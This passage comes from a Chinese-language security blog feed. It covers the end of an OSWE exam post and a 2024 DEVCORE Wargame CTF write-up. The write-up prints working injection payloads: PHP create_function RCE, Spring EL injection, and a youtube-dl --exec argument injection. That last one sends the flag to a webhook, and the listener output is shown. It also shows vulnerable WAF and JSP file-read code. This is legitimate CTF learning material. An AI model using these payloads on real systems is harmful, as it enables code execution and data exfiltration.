720px"><figcaption>&quot;No source code needs to be on your local machine to gain these benefits since the extension runs commands and other extensions directly on the remote machine.&quot;</figcaption></figure><p>&#x5F9E;<a href="https://code.visualstudio.com/docs/remote/ssh?ref=blog.cjis.ooo#_working-with-local-tools">&#x9019;&#x88E1;</a>&#x6709;&#x63D0;&#x5230; ssh-remote &#x4E0D;&#x7B97;&#x662F; sshfs&#xFF0C;&#x66F4;&#x4E0D;&#x53EF;&#x80FD;&#x662F; &quot;mount&quot;&#xFF0C;&#x9019;&#x6A23;&#x770B;&#x4F86; remote-ssh &#x9802;&#x591A;&#x7B97;&#x662F;&#x826F;&#x597D; GUI &#x4ECB;&#x9762;&#x7684; ssh shell (?)</p><p>&#x8003;&#x5F8C;&#x518D;&#x52A0;&#x78BC;&#x554F; ChatGPT</p><figure class="kg-card kg-image-card"><img src="https://blog.cjis.ooo/content/images/2025/01/-5E5A7FEC-E184-464B-9620-51EF352D5CA5-.png" class="kg-image" alt loading="lazy" width="706" height="482" srcset="https://blog.cjis.ooo/content/images/size/w600/2025/01/-5E5A7FEC-E184-464B-9620-51EF352D5CA5-.png 600w, https://blog.cjis.ooo/content/images/2025/01/-5E5A7FEC-E184-464B-9620-51EF352D5CA5-.png 706w"></figure><p>&#x96D6;&#x7136; exam guide &#x9084;&#x6709;&#x53E6;&#x4E00;&#x689D;&#x300C;Downloading any applications, files or source code from the exam environment to your local machine is strictly forbidden.&#x300D;&#x5BE6;&#x969B;&#x4E0A;&#x6C92;&#x610F;&#x7FA9;&#xFF0C;&#x56E0;&#x70BA; LFI &#x4E4B;&#x985E;&#x7684;&#x90FD;&#x80FD;&#x770B;&#x5230; source code&#xFF0C;&#x751A;&#x81F3;&#x5132;&#x5B58;&#x65BC; Burpuiste project&#xFF0C;&#x53EA;&#x8981;&#x4E0D;&#x662F;&#x6545;&#x610F;&#x60F3;&#x8F09;&#x6574;&#x500B;&#x8003;&#x8A66;&#x74B0;&#x5883; source code &#x90FD;&#x4E0D;&#x6703;&#x8E29;&#x7DDA;&#xFF0C;vscode remote-ssh &#x53EA;&#x6703;&#x986F;&#x793A;&#x5FC5;&#x8981;&#x7684;&#x90E8;&#x5206;&#xFF0C;&#x5C31;&#x5982;&#x540C; Lab &#x88E1;&#x9644;&#x7684; Browser-based vscode &#x4E00;&#x6A23;&#xFF0C;&#x5982;&#x679C; OffSec &#x9019;&#x4E9B;&#x9650;&#x5236;&#x662F;&#x57FA;&#x65BC;&#x5546;&#x696D;&#x4E0A;&#x4FDD;&#x8B77;&#x7248;&#x6B0A;&#x7684;&#x8003;&#x91CF;&#xFF0C;&#x6C92;&#x9053;&#x7406; Lab &#x80FD;&#x7528; browser-based vscode &#x8003;&#x8A66;&#x537B;&#x7981;&#x6B62; vscode remote-ssh&#x3002;</p><p>&#x7E3D;&#x4E4B;&#x8003;&#x5B98;&#x8981;&#x7D66;&#x8003;&#x751F;&#x81EA;&#x884C;&#x5224;&#x65B7;&#xFF0C;&#x6211;&#x67E5;&#x8B49;&#x5B8C;&#x5C31;&#x7576;&#x53EF;&#x4EE5;&#x56C9; speed up+++++++++++++++++++++++++++++++++++++++</p><p>&#x552F;&#x4E00;&#x7684;&#x96E3;&#x95DC;&#x5F04;&#x5B8C;&#x5F8C;&#x6548;&#x7387;&#x7206;&#x589E;&#xFF0C;&#x5F8C;&#x9762;&#x9806;&#x9806;&#x7684;&#x8003;&#x5B8C;&#x4E86;&#x3002;</p><p>OSWE &#x8003;&#x8A66;&#x76F8;&#x7576;&#x5065;&#x5EB7;&#xFF0C;&#x6B63;&#x5E38;&#x5403;&#x6B63;&#x5E38;&#x7761;&#xFF0C;&#x9084;&#x80FD;&#x800D;&#x5EE2;&#x3002;&#x6211;&#x5927;&#x591A;&#x6642;&#x9593;&#x90FD;&#x82B1;&#x5728;&#x5BEB; Exploit &#x548C;&#x5831;&#x544A;&#xFF0C;&#x5831;&#x544A;&#x4E00;&#x6A23;&#x7528;&#x5B98;&#x65B9;&#x6A21;&#x677F;&#xFF0C;&#x9700;&#x8981;&#x622A;&#x5716; code &#x89E3;&#x91CB;&#x539F;&#x56E0;&#x9084;&#x6709;&#x89E3;&#x91CB; Exploit&#xFF0C;&#x6211;&#x5BEB;&#x7684;&#x5F88;&#x8A73;&#x7D30;&#xFF0C;&#x5E78;&#x597D;&#x4ED6;&#x6C92;&#x5201;&#x5831;&#x544A;&#x6263;&#x5206;&#x3002;</p><p>&#x8003;&#x5B8C;&#x5F8C;&#x5443;&#x6709;&#x5B78;&#x5230;&#x4EC0;&#x9EBC;&#x53C8;&#x6C92;&#x5B78;&#x5230;&#x4EC0;&#x9EBC;&#x7684;&#x611F;&#x89BA;&#xFF0C;CTF &#x4E16;&#x754C;&#x592A;&#x5377;&#xFF0C;&#x6709;&#x9592;&#x9322;&#x53EF;&#x4EE5;&#x8003;&#x9019;&#x5F35;&#x4F86;&#x589E;&#x52A0;&#x4FE1;&#x5FC3;(?) &#x5927;&#x6982;&#x662F; EOF Final easy~medium &#x984C;</p><p>&#x5C0D;&#x4E86;&#x6559;&#x6750;&#x672C;&#x8EAB;&#x6C92;&#x5BEB;&#xFF0C;&#x5927;&#x91CF; code review &#x904E;&#x7A0B;&#x53EF;&#x4EE5;&#x8A66;&#x8457;&#x7DF4;&#x7FD2;&#x600E;&#x9EBC;&#x5275;&#x9020;&#x4E00;&#x5806;&#x795E;&#x5947;&#x7684; Regex &#x4F86;&#x5FEB;&#x901F;&#x6253;&#x6488;&#x6F0F;&#x6D1E;&#xFF0C;&#x6709;&#x9592;&#x4E5F;&#x80FD;&#x5F04;&#x500B; AST &#x5206;&#x6790;&#x66F4;&#x7CBE;&#x78BA;&#x7684;&#x627E;&#x51FA; pattern&#x3002;</p><p>&#x9084;&#x8981;&#x8003; OSCP+ ....&#x6551;&#x547D;</p>]]></content:encoded></item><item><title><![CDATA[2024 DEVCORE Wargame]]></title><description><![CDATA[<p>&#x4ECA;&#x5E74; Wargame &#x6709;&#x516B;&#x984C;&#xFF0C;&#x96E3;&#x5EA6;&#x6BD4;&#x5F80;&#x5E74;&#x9AD8;&#x8D85;&#x591A;&#xFF0C;&#x90FD;&#x662F;&#x6709;&#x8DA3;&#x53C8;&#x5BE6;&#x7528;&#x7684;&#x9B54;&#x6CD5;&#xFF0C;&#x6211;&#x5728;&#x6BD4;&#x8CFD;&#x7D50;&#x675F;&#x524D;&#x89E3;&#x4E86;&#x4E09;&#x984C;&#xFF0C;&#x7D50;&#x675F;&#x5F8C;&#x665A;&#x4E0A;&#x89E3;&#x4E86;&#x5169;&#x984C;&#x7246;&#xFF0C;</p>]]></description><link>https://blog.cjis.ooo/2024-devcore-wargame/</link><guid isPermaLink="false">66ca14e87edeb5000141e80d</guid><category><![CDATA[writeup]]></category><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Sat, 24 Aug 2024 19:33:27 GMT</pubDate><content:encoded><![CDATA[<p>&#x4ECA;&#x5E74; Wargame &#x6709;&#x516B;&#x984C;&#xFF0C;&#x96E3;&#x5EA6;&#x6BD4;&#x5F80;&#x5E74;&#x9AD8;&#x8D85;&#x591A;&#xFF0C;&#x90FD;&#x662F;&#x6709;&#x8DA3;&#x53C8;&#x5BE6;&#x7528;&#x7684;&#x9B54;&#x6CD5;&#xFF0C;&#x6211;&#x5728;&#x6BD4;&#x8CFD;&#x7D50;&#x675F;&#x524D;&#x89E3;&#x4E86;&#x4E09;&#x984C;&#xFF0C;&#x7D50;&#x675F;&#x5F8C;&#x665A;&#x4E0A;&#x89E3;&#x4E86;&#x5169;&#x984C;&#x7246;&#xFF0C;&#x5269;&#x4E0B; Spring&#x3001;&#x9177;&#x62C9;&#x76AE;&#x5361; Kurapika&#x3001;Notes Space</p><h2 id="supercalifragilisticexpialidocious">Supercalifragilisticexpialidocious</h2><p>&#x7C3D;&#x5230;&#x984C;</p><pre><code class="language-php">&lt;?php

if (!isset($_GET[&apos;code&apos;])) {
    echo &apos;&lt;h1&gt;PHP Syntax Checker&lt;/h1&gt;&lt;form method=&quot;GET&quot;&gt;&lt;textarea name=&quot;code&quot;&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;button type=&quot;submit&quot;&gt;Submit&lt;/button&gt;&lt;/form&gt;&lt;br /&gt;&apos;;
    highlight_file(__FILE__);
    exit();
}

$code = strval($_GET[&apos;code&apos;]);

try {
    create_function(&apos;&apos;, $code);
    echo &quot;valid&quot;;
} catch (ParseError $e) {
    echo &quot;syntax error&quot;;
}</code></pre><p><code>create_function</code> <code>$code</code> &#x53EF;&#x63A7;&#xFF0C;&#x5B83;&#x7684;&#x539F;&#x7406;&#x662F;&#x62FC;&#x63A5;&#x6210;&#x51FD;&#x5F0F;&#x5F8C; <code>eval</code> &#xFF0C;&#x985E;&#x4F3C; <code>eval(&quot;function (){$code;}&quot;)</code> &#xA0;&#xFF0C;&#x6240;&#x4EE5;&#x6CE8;&#x5165; php code &#x5C31;&#x80FD; RCE</p><p>payload</p><pre><code>GET /?code=%3b%7dsystem(%22%2freadflag%22)%3b%2f* HTTP/1.1
Host: web.ctf.d3vc0r3.tw:8888</code></pre><p>response</p><pre><code>HTTP/1.1 200 OK
Date: Sat, 24 Aug 2024 17:24:18 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 32
Content-Type: text/html; charset=UTF-8

DEVCORE{o1d_th1ng_1s_g00d}
valid</code></pre><h2 id="expressionism">Expressionism</h2><p>spring index &#x6703;&#x628A; FLAG &#x653E;&#x5728; session</p><pre><code class="language-java">    ...
    @RequestMapping(value=&quot;/&quot;, method=RequestMethod.GET)
    public String index(@RequestParam(value=&quot;id&quot;, required=false) String id, Model model, HttpSession session) {
        if (id == null) {
            id = String.valueOf(random.nextInt(11) + 1);
        }
        model.addAttribute(&quot;id&quot;, id);
        session.setAttribute(&quot;FLAG&quot;, System.getenv(&quot;FLAG&quot;));
        return &quot;index&quot;;
    }
    ...</code></pre><p>&#x53EA;&#x6709;&#x500B; jsp &#x9801;&#x9762;&#xFF0C;&#x53EF;&#x63A7; <code>id</code></p><pre><code class="language-jsp">&lt;div class=&quot;container&quot;&gt;
    &lt;img src=&quot;/static/The_Scream.jpg&quot; alt=&quot;The Scream&quot;&gt;
    &lt;p&gt;&lt;spring:message code=&quot;life.quotes.${id}&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;</code></pre><p>&#x4E00;&#x81C9;&#x7D66;&#x4F60;&#x6CE8;&#x5165;&#xFF0C;&#x67E5;&#x4E86;&#x4E00;&#x9663;&#x5B50;&#xFF08;java &#x7684; document &#x771F;&#x7684;&#x96E3;&#x627E;....&#xFF09;&#xFF0C;&#x5F8C;&#x4F86;&#x4E1F;&#x53BB;&#x9935; chatgpt &#x624D;&#x77E5;&#x9053;&#x662F; Expression Language&#xFF0C;&#x627E;&#x5230;&#x9019;&#x7BC7; <a href="https://blog.csdn.net/jimmyleeee/article/details/114665906?ref=blog.cjis.ooo">https://blog.csdn.net/jimmyleeee/article/details/114665906</a> &#xFF0C;&#x77E5;&#x9053; spring &#x6703; evalute &#x5169;&#x6B21;&#xFF0C;&#x7136;&#x5F8C;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#x6703;&#x56DE;&#x986F;&#xFF0C;&#x6240;&#x4EE5;&#x5148;&#x89E3;&#x6790;&#x51FA; FLAG &#x8B93;&#x4ED6;&#x5674;&#x932F;&#x5C31;&#x884C;</p><p>payload</p><pre><code>GET /?id=%24%7bsessionScope.FLAG%7d HTTP/1.1
Host: web.ctf.d3vc0r3.tw:18080</code></pre><p>response</p><pre><code>...
&lt;pre&gt;javax.servlet.jsp.JspTagException: No message found under code &amp;#39;life.quotes.DEVCORE{d1d_y0u_kn0w_th1s_b3f0r3}&amp;#39; for locale &amp;#39;en_US&amp;#39;.
...</code></pre><p>I didn&apos;t know this before.</p><h2 id="varchive">VArchive</h2><p>&#x958B;&#x59CB;&#x6709;&#x9EDE;&#x6311;&#x6230;&#x4E86;</p><p>&#x984C;&#x76EE;&#x662F;&#x500B; C# &#x7DB2;&#x7AD9;&#xFF0C; <code>videoId</code> &#x53EF;&#x63A7;&#xFF0C;&#x8981;&#x900F;&#x904E;&#x53C3;&#x6578;&#x6CE8;&#x5165; <code>youtube-dl</code> &#x4F86; RCE</p><pre><code class="language-C#">string arguments = string.Format(&quot;\&quot;https://www.youtube.com/watch?v={0}\&quot; -o \&quot;{1}\&quot;&quot;, videoId, outputPath);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WorkingDirectory = &quot;/archives&quot;;
startInfo.FileName = &quot;youtube-dl&quot;;
startInfo.Arguments = arguments;
Process process = new Process();
process.StartInfo = startInfo;
process.Start();
byte[] result = Encoding.UTF8.GetBytes(string.Format(&quot;Start to download {0}&quot;, url));
response.OutputStream.Write(result, 0, result.Length);</code></pre><p>&#x7FFB;&#x4E00;&#x4E0B; youtube-dl &#x53EF;&#x4EE5;&#x627E;&#x5230; <code>--exec</code> &#xFF0C;&#x5728;&#x6210;&#x529F;&#x4E0B;&#x8F09;&#x6A94;&#x6848;&#x5F8C;&#x80FD;&#x57F7;&#x884C;</p><p>&#x4EE5;&#x70BA;&#x662F;&#x6C34;&#x984C;&#xFF0C;&#x6C92;&#x60F3;&#x5230;&#x6EFF;&#x6EFF;&#x4EBA;&#x985E;&#x7684;&#x60E1;&#x610F;</p><p>&#x7B2C;&#x4E00;&#x500B;&#x60E1;&#x610F;&#x662F;&#x4F7F;&#x7528;&#x7684; youtube-dl &#x7248;&#x672C; 2021.12.17 &#x592A;&#x820A;&#xFF0C;&#x9023;&#x984C;&#x76EE;&#x9810;&#x8A2D;&#x8981;&#x4E0B;&#x8F09;&#x7684;&#x5F71;&#x7247; <a href="https://www.youtube.com/watch?v=iU0QOcM7UnU&amp;ref=blog.cjis.ooo">https://www.youtube.com/watch?v=iU0QOcM7UnU</a> &#x90FD;&#x6703;&#x88AB; 403&#xFF0C;&#x67E5;&#x5230; <code>-i</code> &#x53EF;&#x4EE5; ignore error &#x4F46;&#x662F; <code>-o</code> &#x8A2D;&#x5B9A; output path &#x662F;&#x55AE;&#x4E00;&#x7684;&#xFF0C;&#x7576;&#x8981;&#x8A66;&#x8457;&#x4E0B;&#x8F09;&#x591A;&#x500B;&#x6A94;&#x6848;&#x6703;&#x76F4;&#x63A5;&#x932F;&#x8AA4;</p><pre><code class="language-sh">VArchive$ ./publish/youtube-dl &quot;http://a&quot; &quot;http://b&quot; -o apath
ERROR: fixed output name but more than one file to download</code></pre><p> &#xA0; &#xA0;&#x53C3;&#x6578;&#x672C;&#x8EAB;&#x662F;&#x5F8C;&#x84CB;&#x524D;&#xFF0C;&#x6240;&#x4EE5;&#x8981;&#x900F;&#x904E; <code>--</code> &#x628A;&#x5F8C;&#x9762;&#x53C3;&#x6578;&#x8B8A;&#x6210;&#x975E;&#x53C3;&#x6578;</p><pre><code class="language-sh">VArchive$ ./publish/youtube-dl --  -o apath
ERROR: &apos;-o&apos; is not a valid URL. Set --default-search &quot;ytsearch&quot; (or run  youtube-dl &quot;ytsearch:-o&quot; ) to search YouTube</code></pre><p>&#x7136;&#x5F8C;&#x627E;&#x5176;&#x4ED6;&#x53EF;&#x4E0A;&#x50B3;&#x4E26;&#x4E14;&#x4E0B;&#x8F09;&#x7684;&#x7AD9;&#x9EDE;&#xFF0C;&#x7FFB;&#x4ED6; source code &#x5305;&#x542B;&#x8D85;&#x591A;&#x7DB2;&#x7AD9;&#xFF0C;&#xFF08;&#x4E0D;&#xFF09;&#x610F;&#x5916;&#x7684;&#x662F;&#x6709;&#x4E00;&#x5806; x &#x7AD9;&#xFF0C;&#x800C;&#x5E7E;&#x4E4E;&#x6BCF;&#x500B; downloader &#x90FD;&#x6703;&#x9644;&#x5E7E;&#x500B;&#x6E2C;&#x8CC7;&#xFF0C;&#x6211;&#x62B1;&#x8457;&#x5B78;&#x8853;&#x7814;&#x7A76;&#x7CBE;&#x795E;&#x597D;&#x5947;&#x6E2C;&#x8A66;&#x5F71;&#x7247;&#x6703;&#x4E0D;&#x6703;&#x662F; hello world &#x6559;&#x5B78;&#xFF0C;&#x6C92;&#x60F3;&#x5230;&#x90FD;&#x662F;&#x771F;&#x69CD;&#x5BE6;&#x5F48;&#x7684;&#x3002;&#x6700;&#x5F8C;&#x627E;&#x5230; streamable &#x548C; google drive&#x3002;</p><p>&#x7B2C;&#x4E8C;&#x500B;&#x60E1;&#x610F;&#x662F;&#x83AB;&#x540D;&#x5176;&#x5999;&#x7684; ulimit 1kb ??????:D??????? &#x9019;&#x908A;&#x8B93;&#x6211;&#x641E;&#x8D85;&#x4E45;&#xFF0C;&#x5927;&#x6982;&#x65B9;&#x5411;&#x6709;&#x634F;&#x4E00;&#x500B;&#x8D85;&#x7D1A;&#x5C0F;&#x7684; media&#x3001;&#x4E0B;&#x8F09;&#x90E8;&#x5206;&#x6A94;&#x6848;</p><p>&#x6211;&#x5148;&#x67E5;&#x4E86;&#x4E00;&#x4E0B; youtube-dl &#x8981;&#x600E;&#x9EBC;&#x4E0B;&#x8F09;&#x90E8;&#x5206;&#x6A94;&#x6848;&#xFF0C;&#x67E5;&#x5230;&#x7684;&#x5927;&#x591A;&#x662F; ffmpeg &#x5207;&#x5F71;&#x7247;&#x8F49;&#x6A94;&#xFF0C;&#x4F46;&#x662F;&#x7DB2;&#x7AD9;&#x4E0A;&#x6C92;&#x6709; ffmpeg&#xFF0C;&#x5C31;&#x6539;&#x671D;&#x634F; media&#xFF0C;&#x81EA;&#x5DF1;&#x96A8;&#x4FBF;&#x9304;&#x4E86;&#x6BB5;&#x5169;&#x79D2;&#x7684;&#x5F71;&#x7247;&#xFF0C;&#x8F49;&#x6A94;&#x6210;&#x4E00;&#x79D2;&#x4E26;&#x4E14; frame rate 1&#xFF0C;&#x5404;&#x7A2E;&#x58D3;&#x721B;&#x54C1;&#x8CEA;&#xFF0C;&#x8F49;&#x6210; webm &#x6216;&#x662F; gif&#xFF0C;&#x539F;&#x672C;&#x6210;&#x529F;&#x58D3;&#x5230; 1kb &#x4EE5;&#x4E0B;&#xFF0C;&#x4E1F;&#x5230; streamable &#x5F8C;&#x6703;&#x88AB;&#x4ED6;&#x5F37;&#x5236;&#x505A;&#x4E00;&#x6B21;&#x8F49;&#x6A94;&#x8B8A;&#x6210;&#x7D04; 1.5kb&#xFF0C;&#x96D6;&#x7136;&#x9084;&#x80FD;&#x7DDA;&#x4E0A;&#x505A;&#x4E9B;&#x88C1;&#x5207;&#xFF0C;&#x6700;&#x5F8C;&#x4E5F;&#x53EA;&#x58D3;&#x5230; 1.3kb&#x3002;&#x9084;&#x6709;&#x67E5;&#x5230;&#x4E00;&#x500B;&#x6709;&#x8DA3;&#x7684; repo <a href="https://github.com/mathiasbynens/small?ref=blog.cjis.ooo">https://github.com/mathiasbynens/small</a> &#x6709;&#x5404;&#x7A2E;&#x6700;&#x5C0F;&#x5C3A;&#x5BF8;&#x7684;&#x6A94;&#x6848;&#x3002;&#x63A5;&#x8457;&#x6E2C;&#x8A66; googledrive &#x6642;&#x9047;&#x5230; youtube-dl &#x7684;&#x5751;&#xFF0C;&#x7576;&#x6A94;&#x6848; &lt;4kb &#x6642;&#xFF0C; google drive &#x6703;&#x6C92;&#x8FA6;&#x6CD5;&#x8655;&#x7406;&#x5F97;&#x5230;&#x4ED6;&#x7684; metadata&#xFF0C;&#x5C0E;&#x81F4; youtube-dl &#x62FF; metadata &#x6642;&#x5931;&#x6557;&#x5C31;&#x5674;&#x4E86;&#x3002;</p><p>&#x5728; debug &#x6642;&#x6709;&#x770B;&#x5230; youtube-dl &#x8655;&#x7406;&#x6D41;&#x7A0B;&#x6703;&#x5148;&#x5339;&#x914D; URL&#xFF0C; pattern &#x5B58;&#x5728;&#x7684;&#x8A71;&#x4EA4;&#x7D66;&#x76F8;&#x5C0D;&#x61C9;&#x7684; extractor &#x548C; downloader&#xFF0C;&#x7B2C;&#x4E00;&#x500B;&#x8ACB;&#x6C42;&#x5148;&#x62FF; metadata&#xFF0C;&#x5F9E;&#x4E2D;&#x62BD;&#x53D6;&#x771F;&#x5BE6;&#x6A94;&#x6848;&#x4F4D;&#x7F6E;&#x5F8C;&#x7B2C;&#x4E8C;&#x500B;&#x8ACB;&#x6C42;&#x624D;&#x4E0B;&#x8F09;&#x3002;&#x65BC;&#x662F;&#x6211;&#x731C;&#x6B21;&#x6709;&#x6C92;&#x6709;&#x53EF;&#x80FD;&#x900F;&#x904E; open redirect &#x901A;&#x904E; URL &#x5339;&#x914D;&#x8DF3;&#x8F49;&#x5230;&#x53EF;&#x63A7;&#x7684; metadata&#xFF0C;&#x8B93;&#x4ED6;&#x8F09;&#x4EFB;&#x610F;&#x7684;&#x6A94;&#x6848;&#x4F4D;&#x7F6E;&#xFF0C;&#x7D50;&#x679C;&#x662F;&#x4E0D;&#x884C;&#xFF0C;&#x56E0;&#x70BA;&#x5F9E; metadata &#x62BD;&#x51FA;&#x771F;&#x5BE6;&#x6A94;&#x6848;&#x4F4D;&#x7F6E;&#x5F8C;&#x9084;&#x6703;&#x9032;&#x884C;&#x4E00;&#x6B21;&#x5339;&#x914D;&#x3002;</p><p>&#x6700;&#x5F8C;&#x662F;&#x9748;&#x6A5F;&#x4E00;&#x52D5;&#x60F3;&#x5230; <code>--add-header</code> &#x53EF;&#x4EE5;&#x52A0; <code>&quot;Range: bytes=0-499&quot;</code> &#xFF0C;&#x7136;&#x5F8C;&#x5C31;&#x89E3;&#x4E86;...</p><p>payload</p><pre><code>youtube.com/watch?v=&quot; &quot;https://drive.google.com/file/d/1lgyCacgjiA90Vd0oayJnGcM5T_t9l5un/view?usp=sharing&quot; -i -v --add-header &quot;Range: bytes=0-499&quot; --print-traffic --exec &quot;python -c \&quot;from urllib import request;request.urlopen(&apos;http://yourwebhook/$(/readflag|base64 -w 0)&apos;)#{}\&quot;&quot;  --&quot;</code></pre><p>response</p><pre><code class="language-sh">~$ ncat -klv 0.0.0.0 4242 
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4242
Ncat: Connection from 172.104.94.128.
Ncat: Connection from 172.104.94.128:50960.
GET /REVWQ09SRXtjbDN1LjZpIHFvNGQuM3Q4NiEhfQo= HTTP/1.1
Accept-Encoding: identity
Host: blog.cjis.ooo:4242
User-Agent: Python-urllib/3.12
Connection: close

^C
~$ base64 -d
REVWQ09SRXtjbDN1LjZpIHFvNGQuM3Q4NiEhfQo=
DEVCORE{cl3u.6i qo4d.3t86!!}</code></pre><p>p.s. &#x641E;&#x4E0D;&#x597D;&#x9214;&#x80FD;&#x529B;&#x53BB;&#x8CB7;&#x4E9B;&#x7DB2;&#x7AD9; premium &#x4E0A;&#x50B3;&#x7121;&#x640D;&#x6A94;&#x6848;&#x5C31;&#x597D;&#x4E86;...</p><h2 id="%E9%85%B7%E6%8B%89%E7%9A%AE%E5%8D%A1-kurapika">&#x9177;&#x62C9;&#x76AE;&#x5361; Kurapika</h2><blockquote>&#x9084;&#x5728;&#x8239;&#x4E0A;</blockquote><p>&#x4E00;&#x500B;&#x9ED1;&#x7BB1;&#x7684;&#x6A94;&#x6848;&#x4E0A;&#x50B3;&#x7DB2;&#x7AD9;&#xFF0C;&#x7A0D;&#x5FAE;&#x6233;&#x4E00;&#x4E0B;&#x6703;&#x77E5;&#x9053;&#x4ED6;&#x7684; WAF &#x4E0D;&#x662F;&#x5BEB;&#x5728; php &#x90A3;&#x5C64;&#xFF0C;&#x56E0;&#x70BA;&#x4E0A;&#x50B3;&#x6210;&#x529F;&#x7684; header &#x90FD;&#x5E36;&#x6709; apache&#xFF0C;&#x7D93;&#x904E; php WAF &#x8655;&#x7406;&#x7684;&#x4E5F;&#x61C9;&#x8A72;&#x5E36;&#x6709; apache&#x3002;</p><p>formdata filename &#x4E0D;&#x80FD;&#x5E36;&#x6709; <code>.ph</code> <code>.ht</code> &#x9084;&#x6709; hacktrick &#x4E0A;&#x90A3;&#x4E9B;&#x540D;&#x55AE;&#xFF0C; <code>Content-Type</code> &#x4E0D;&#x80FD;&#x5E36;&#x6709; <code>charset</code> &#xA0;</p><p>&#x6E2C;&#x904E; apache 2.4.54 http smuggling <a href="https://github.com/dhmosfunk/CVE-2023-25690-POC?ref=blog.cjis.ooo">POC</a>&#x3001;<a href="https://www.anquanke.com/post/id/169738?ref=blog.cjis.ooo">chunked coding bypass</a>&#x3001;sleep chunked&#x3001;&#x5404;&#x7A2E;&#x82B1;&#x5F0F; content-type &#x5206;&#x6BB5;&#x90FD;&#x7E5E;&#x4E0D;&#x904E;&#xFF0C;&#x6211;&#x721B;&#x6B7B;QQQQQQQ</p><blockquote> ginoah &#x8AAA;&#x662F; null byte &#x6CE8;&#x5728; boundary </blockquote><h2 id="wallmaria">Wall..Maria</h2><p>&#x524D;&#x7AEF;&#x662F; go &#xFF0C;&#x6703;&#x505A; proxy &#x5230;&#x5F8C;&#x7AEF; Tomcat&#xFF0C;&#x8981;&#x80FD; path traversal &#x8B80; /flag.txt</p><p>go &#x6709;&#x52A0;&#x4E00;&#x5806; waf&#xFF0C;&#x5927;&#x81F4;&#x4E0A;&#x8981;&#x6C42;&#x4E0D;&#x80FD;&#x6709; <code>.%2e</code> &#x9084;&#x6709;&#x6709;&#x4E9B;&#x5FC5;&#x9808;&#x662F; ascii&#x3002;source code &#x6709;&#x4E9B;&#x6211;&#x52A0;&#x7684; log&#x3002;</p><pre><code class="language-golang">package main

import (
	&quot;log&quot;
	&quot;io&quot;
	&quot;net/http&quot;
	&quot;os&quot;
	&quot;regexp&quot;
	&quot;strings&quot;
)

func doWAF(r *http.Request) bool {
	var parsed = false
	var isPOST = r.Method == http.MethodPost

	bodyData, _ := io.ReadAll(r.Body)
	log.Println(&quot;bodyData: &quot;+string(bodyData))
	r.Body = io.NopCloser(strings.NewReader(string(bodyData)))

	if hasDotDot(string(bodyData)) {
		return false
	}

	if mr, err := r.MultipartReader(); err == nil {
		log.Println(&quot;###multipartReader&quot;)
		for {
			parsed = true
			part, err := mr.NextPart()
			if err == io.EOF {
				break
			}
			data, _ := io.ReadAll(part)
			part.Close()
			if !isASCII(part.FormName()) || !isASCII(string(data)) || hasDotDot(string(data)) {
				return false
			}
		}
	} else {
		log.Println(&quot;###parseform&quot;)
		if err := r.ParseForm(); err != nil {
			return false
		}
		for key, values := range r.Form {
			parsed = true
			if !isASCII(key) || hasDotDot(key) {
				return false
			}
			for _, value := range values {
				log.Println(&quot;value  &quot;+key+&quot;:&quot;+value)
				if !isASCII(value) || hasDotDot(value) {
					return false
				}
			}
		}
	}

	r.Body = io.NopCloser(strings.NewReader(string(bodyData)))
	return !isPOST || (isPOST &amp;&amp; parsed)
}

func hasDotDot(s string) bool {
	dotDotPattern := regexp.MustCompile(`(?i)(\.|%2e){2}`)
	if dotDotPattern.MatchString(s) {
		return true 
	}
	return false
}

func isASCII(s string) bool {
	for i := 0; i &lt; len(s); i++ {
		if s[i] &gt;= 0x7F || s[i] &lt; 0x20{
			return false
		}
	}
	return true
}

func proxyRequest(w http.ResponseWriter, r *http.Request) {
	if !doWAF(r) {
		http.Error(w, &quot;WAF!&quot;, http.StatusForbidden)
		return
	}

	backendURL := os.Getenv(&quot;BACKEND_URL&quot;)
	proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, r.Body)
	if err != nil {
		http.Error(w, &quot;Internal Server Error&quot;, http.StatusInternalServerError)
		return
	}

	for key, values := range r.Header {
		for _, value := range values {
			log.Println(key+&quot;:&quot;+value)
			proxyReq.Header.Set(key, value)
		}
	}

	resp, err := http.DefaultClient.Do(proxyReq)
	if err != nil {
		http.Error(w, &quot;Bad Gateway&quot;, http.StatusBadGateway)
		return
	}
	defer resp.Body.Close()

	for key, values := range resp.Header {
		for _, value := range values {
			w.Header().Set(key, value)
		}
	}
	w.WriteHeader(resp.StatusCode)
	io.Copy(w, resp.Body)
}

func main() {
	http.HandleFunc(&quot;/&quot;, proxyRequest)
	log.Println(&quot;Proxy server running on port 80...&quot;)
	log.Fatal(http.ListenAndServe(&quot;:80&quot;, nil))
}
</code></pre><p>Tomcat </p><pre><code class="language-jsp">&lt;%
    String file = request.getParameter(&quot;file&quot;);

    if (
      file == null || file.isEmpty()
      || !request.getParameter(&quot;give&quot;).equals(&quot;me&quot;)
      || !request.getParameter(&quot;the&quot;).equals(&quot;flag&quot;)
    ) {
      %&gt;&lt;script&gt;window.location.href = &quot;/?give=me&amp;the=flag&amp;file=greet&quot;;&lt;/script&gt;&lt;%
    } else {
        try (java.io.FileInputStream fis = new java.io.FileInputStream(&quot;./webapps/ROOT/&quot; + file)) {
            byte[] buffer = new byte[4096];
            int n;
            while ((n = fis.read(buffer)) != -1) response.getOutputStream().write(buffer, 0, n);
        } catch (Exception e) {
            response.sendError(404, e.getMessage());
        }
    }
%&gt;
